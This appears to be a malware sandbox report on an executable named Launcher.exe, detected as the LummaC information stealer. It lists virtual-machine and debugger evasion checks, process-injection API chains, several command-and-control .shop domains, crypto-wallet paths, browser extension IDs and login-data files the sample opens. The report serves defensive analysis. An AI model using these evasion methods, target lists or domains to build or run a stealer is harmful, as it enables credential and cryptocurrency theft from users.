Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Launcher.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00116763 push ecx; ret	0_2_00116776
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00116763 push ecx; ret	3_2_00116776
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043C170 push eax; mov dword ptr [esp], 05020300h	3_2_0043C17E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004452C3 push ss; retf	3_2_0044537E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00446382 push 00000000h; retf	3_2_00446384
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_004467A3 push es; ret	3_2_004467A4
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0043EE60 push eax; mov dword ptr [esp], A8ABAAFDh	3_2_0043EE62

Source: C:\Users\user\Desktop\Launcher.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Launcher.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Window / User API: threadDelayed 7104

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-21492

Source: C:\Users\user\Desktop\Launcher.exe

API coverage: 9.3 %

Source: C:\Users\user\Desktop\Launcher.exe TID: 6672	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe TID: 3032	Thread sleep count: 7104 > 30			Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Launcher.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Launcher.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001281F8 FindFirstFileExW,	0_2_001281F8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001282A9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_001282A9
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001281F8 FindFirstFileExW,	3_2_001281F8
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001282A9 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_001282A9

Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Launcher.exe, 00000003.00000003.1518869761.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1240048261.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296626962.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2473402610.000000000305C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1518942042.000000000305B000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1285488926.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1284751333.0000000003056000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Launcher.exe, 00000003.00000002.2473079498.0000000003024000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW H
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Launcher.exe, 00000003.00000002.2473560458.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VyyameC8mjNjT9O1eQNqw9tmTgDELBIxptIDVcXN7LspF/mv8Y67H2lx1fEFEnLLjnssHb0sIzXCuRYrzevTgRMGuvHtv65tUm6Xl1UJc/vfeVcto1QJNrS4JQzpzc6/FhuhmczGtCxIefOQTgsyy45oTCiATR8wj8QiUMTj+bwQLI+Hms2THW5c0LJQNjT09HpQQKFcahKz/DQP6P/6qk8a5+qarOgfbgvKkVI+UMThRUxcki0QFpjGGi7DtvW2PSO1i+20vxFCVeuTdHhlzfhlayGUS2pupMszCJOuqYBMKIOWx4SQFkBambd5I0DD/hRMJpxFeBerpUAimMTd+08Gm4fclZs1aXzK6lQeb+rXE35ejFoZHb3hJQjJ4u3kORyK7ui37GBkCsWuVXh3yNNtSxm6LiQeuMs+J/rr1uRLPbTx4JSiZGV4xZhTY2LW6EJaHa4tOCq1u0IU2PPNtiIBmLjNjewGQkfCh2QCf/b/THYfxCk/IcbMARjIx8qMVx6EgPfRtxhyCeK1VAJt+49UXQaMLGYjv74uT+HR7aAWIrX0xq6oAFN8x6B9ajPg+AhZLaBWNjfF2RMZ6s+sojp7j6z/p6sgAXXVk0QeMueAZFkZs3hgG8ffASye3PumDgmTkfrJtj9Ee8vzdTZr5vtxUVqjXgI2j+ZAKNrj64xXB76v5dWvBEN26IdfFmH0yGgsDp5wKTex+SQq78/6kj0HvqrbpJ0iZgbMqnYEbf78FSwdmV0AYcS6BSfl6avjHACwr+avsxlGB9iveGZ83IlTcB+dTWoSv744OfLC3LQcMr+AmLW6HWwMwYwCeFqD1URuOJEoKzi2/hYK+cnntgwesoLM1ZEuGVDwrwEaSoeKR38Bh1xnDa7uRzne/dumSR+9ouWqhHtwUeX4XjRA1I5GWxikLAk+r+whM9viy6RNeLKKzZCVBUFyzZNWEXOcw2oqDZx5aj6T/R0pmvfKgzkes42Axo0eaGyTr1NjdofaW1s6j0UVNqC+Pi/qw+inEQSZhc6mqRN2ENGvbilT3OoaVSmceBAhnOchE8euzuROCJSVwKq7HWMPzq9PHl+c5QxIApxdeBCe7AA1n67Nh0Al47ibqeFiWVnq+XF4Tf38blpfvUc3Pqf7FDHn/+qlLH6V8N6HjjVfXfCydTlK48lCdQGkbx0+kOQDUP7Gz7RMYJulx7GKAF5a
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Launcher.exe, 00000003.00000003.1251750982.00000000058F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\Launcher.exe

API call chain: ExitProcess graph end node

graph_3-34678

Source: C:\Users\user\Desktop\Launcher.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_0043D810 LdrInitializeThunk,

3_2_0043D810

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_001164BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_001164BF

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0014519E mov edi, dword ptr fs:[00000030h]	0_2_0014519E
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_00101BA0 mov edi, dword ptr fs:[00000030h]	0_2_00101BA0
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_00101BA0 mov edi, dword ptr fs:[00000030h]	3_2_00101BA0

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_00123BE0 GetProcessHeap,

0_2_00123BE0

Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001160FF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_001160FF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001164B3 SetUnhandledExceptionFilter,	0_2_001164B3
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_001164BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_001164BF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 0_2_0011E600 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0011E600
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001160FF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_001160FF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001164B3 SetUnhandledExceptionFilter,	3_2_001164B3
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_001164BF IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_001164BF
Source: C:\Users\user\Desktop\Launcher.exe	Code function: 3_2_0011E600 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0011E600

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_0014519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0014519E

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Launcher.exe

Memory written: C:\Users\user\Desktop\Launcher.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: cloudewahsj.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rabidcowse.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: noisycuttej.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: Launcher.exe, 00000000.00000002.1218501302.0000000004641000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: fancywaxxers.shop

Source: C:\Users\user\Desktop\Launcher.exe

Process created: C:\Users\user\Desktop\Launcher.exe "C:\Users\user\Desktop\Launcher.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 3_2_00438170 cpuid

3_2_00438170

Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_001234BD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00127547
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_00127798
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00127840
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_00127A93
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_00127B00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	0_2_00127BD5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_00127C20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00127CC7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_00127DCD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	0_2_00122FB5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	3_2_001234BD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00127547
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	3_2_00127798
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_00127840
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	3_2_00127A93
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	3_2_00127B00
Source: C:\Users\user\Desktop\Launcher.exe	Code function: EnumSystemLocalesW,	3_2_00127BD5
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	3_2_00127C20
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_00127CC7
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	3_2_00127DCD
Source: C:\Users\user\Desktop\Launcher.exe	Code function: GetLocaleInfoW,	3_2_00122FB5

Source: C:\Users\user\Desktop\Launcher.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe

Code function: 0_2_00116AB4 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_00116AB4

Source: C:\Users\user\Desktop\Launcher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Launcher.exe, 00000003.00000003.1296803103.00000000030B6000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296626962.0000000003056000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296438856.00000000058F0000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.1296544437.00000000030AA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Launcher.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 7044, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Launcher.exe, 00000003.00000003.1296544437.00000000030C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ets/Electrum-LTC
Source: Launcher.exe, 00000003.00000003.1285808900.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Launcher.exe, 00000003.00000003.1296626962.0000000003043000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: Launcher.exe, 00000003.00000003.1285808900.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Launcher.exe, 00000003.00000003.1285808900.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Launcher.exe, 00000003.00000003.1284919483.00000000030B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: Launcher.exe, 00000003.00000003.1285808900.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: Launcher.exe, 00000003.00000003.1284751333.0000000003056000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Launcher.exe, 00000003.00000003.1284919483.00000000030B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
